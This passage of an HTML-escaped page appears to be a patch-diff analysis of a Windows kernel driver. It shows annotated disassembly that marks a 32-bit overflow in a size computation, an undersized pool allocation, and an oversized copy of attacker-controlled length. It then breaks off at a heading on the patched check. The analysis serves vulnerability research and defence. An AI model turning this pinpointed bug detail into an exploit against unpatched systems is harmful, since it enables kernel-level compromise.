&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00034fe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; arg7 (variable data ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003502&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x61&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003506&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x80&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000350a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000350f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x71&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003513&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x79&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;

&lt;span class="c1"&gt;; -------- After lookup/validation passes, size computation --------&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035bf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c0011614&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; release push lock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035c4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x69&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; arg5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035c8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;neg&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; test arg5 != NULL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035cb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; arg6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035ce&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; ecx = arg5 ? -1 : 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035d0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; ecx = arg5 ? 0x10 : 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035d3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;neg&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; test arg6 != NULL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035d6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; ebx = arg6 ? -1 : 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; ebx = arg6 ? 0x10 : 0&lt;/span&gt;

&lt;span class="c1"&gt;; *** VULNERABLE: 32-bit add of attacker-controlled arg8 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035db&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; *** OVERFLOW: eax = arg8 + (arg5?0x10:0) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035df&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; *** OVERFLOW: ebx = total (32-bit!) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035e1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000364a&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; only jumps if ebx == 0  ← misses general wrap&lt;/span&gt;

&lt;span class="c1"&gt;; -------- Allocation with possibly-wrapped size --------&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035e3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; edx = (wrapped) size&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035e5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; PagedPool&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035ea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x41747645&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;#39;EtvA&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035f0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0010178&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035f7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035fc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; rsi = tiny buffer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c00035ff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003602&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c000360b&lt;/span&gt;

&lt;span class="c1"&gt;; -------- Data copy into undersized buffer --------&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000360b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x69&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; arg5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000360f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003612&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003615&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0003628&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003617&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; load 16 bytes (arg5)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000361a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003620&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003624&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; *** WRITE 16 (buffer may be &amp;lt;16!) ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003628&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; arg6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000362b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000363e&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000362d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; load 16 bytes (arg6)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003632&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003636&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; *** WRITE 16 more past arg5 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000363a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000363e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x61&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; arg7 (variable data)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003642&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; arg8 (HUGE copy length)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0003645&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c0008d80&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; *** MASSIVE COPY: arg8 bytes ***&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched overflow check (new &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008b90)&lt;/code&gt;)&lt;/h3&gt;
